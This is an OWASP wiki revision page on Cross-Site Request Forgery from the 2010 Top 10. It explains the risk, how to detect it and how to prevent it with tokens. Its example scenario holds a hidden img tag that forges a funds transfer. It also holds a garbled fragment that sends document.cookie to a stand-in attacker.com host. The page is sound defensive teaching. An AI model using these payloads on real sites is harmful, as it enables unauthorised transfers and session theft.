Difference between revisions of "Top 10 2010-A5-Cross-Site Request Forgery (CSRF)"

From OWASP
Jump to: navigation, search
Line 30: Line 30:
 
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=3|risk=5}}
 
{{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=3|risk=5}}
 
The application allows a user to submit a state changing request that does not include anything secret. Like so:
 
The application allows a user to submit a state changing request that does not include anything secret. Like so:
:<b><nowiki>http://example.com/app/transferFunds?amount=1500&</nowiki>destinationAccount=4673243243</b>
+
:<b><nowiki>http://example.com/app/transferFunds?amount=1500&amp;</nowiki>destinationAccount=4673243243</b>
 
So, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.
 
So, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.
 
{{Top_10_2010:ExampleBeginTemplate}}<nowiki>&#9001;img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /&#9002;</nowiki>'http://www.attacker.com</nowiki>/cgi-bin/cookie.cgi?foo='+document.cookie&#9001;/script&#9002;'.</span>{{Top_10_2010:ExampleEndTemplate}}
 
{{Top_10_2010:ExampleBeginTemplate}}<nowiki>&#9001;img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /&#9002;</nowiki>'http://www.attacker.com</nowiki>/cgi-bin/cookie.cgi?foo='+document.cookie&#9001;/script&#9002;'.</span>{{Top_10_2010:ExampleEndTemplate}}

Revision as of 22:18, 3 May 2010

← A4-Insecure Direct Object References
Top 10 Introduction
Top 10 Risks
A6-Security Misconfiguration →
Threat Agents Attack Vectors Security Weakness Technical Impacts Business Impacts
Application Specific Exploitability
AVERAGE
Prevalence
WIDESPREAD
Detectability
EASY
Impact
MODERATE
Application / Business Specific
Consider anyone who can trick your users into submitting a request to your website. Any website or other HTML feed that your users access could do this. Attacker creates forged HTTP requests and tricks a victim into submitting them via image tags, XSS, or numerous other techniques. If the user is authenticated, the attack succeeds. CSRF takes advantage of web applications that allow attackers to predict all the details of a particular action.

Since browsers send credentials like session cookies automatically, attackers can create malicious web pages which generate forged requests that are indistinguishable from legitimate ones.

Detection of CSRF flaws is fairly easy via penetration testing or code analysis.
Attackers can cause victims to change any data the victim is allowed to change or perform any function the victim is authorized to use Consider the business value of the affected data or application functions. Imagine not being sure if users intended to take these actions.

Consider the impact to your reputation.
Am I Vulnerable To 'Cross-Site Request Forgery (CSRF)'?

The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.

You should check multi-step transactions, as they are not inherently immune. Attackers can easily forge a series of requests by using multiple tags or possibly JavaScript.

Note that session cookies, source IP addresses, and other information that is automatically sent by the browser doesn’t count since this information is also included in forged requests.

OWASP’s CSRF Tester tool can help generate test cases to demonstrate the dangers of CSRF flaws.

How Do I Prevent 'Cross-Site Request Forgery (CSRF)'?

Preventing CSRF requires the inclusion of a unpredictable token in the body or URL of each HTTP request. Such tokens should at a minimum be unique per user session, but can also be unique per request.

  1. The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is subject to exposure.
  2. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs the risk that the URL will be exposed to an attacker, thus compromising the secret token.

OWASP’s CSRF Guard can be used to automatically include such tokens in your Java EE, .NET, or PHP application. OWASP’s ESAPI includes token generators and validators that developers can use to protect their transactions.

Example Attack Scenarios

The application allows a user to submit a state changing request that does not include anything secret. Like so:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

So, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

〈img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" /〉'http://www.attacker.com</nowiki>/cgi-bin/cookie.cgi?foo='+document.cookie〈/script〉'.</span>

If the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user’s session info, inadvertently authorizing the request.

References

OWASP

External

← A4-Insecure Direct Object References
Top 10 Introduction
Top 10 Risks
A6-Security Misconfiguration →

© 2002-2010 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. Some rights reserved. CC-by-sa-3 0-88x31.png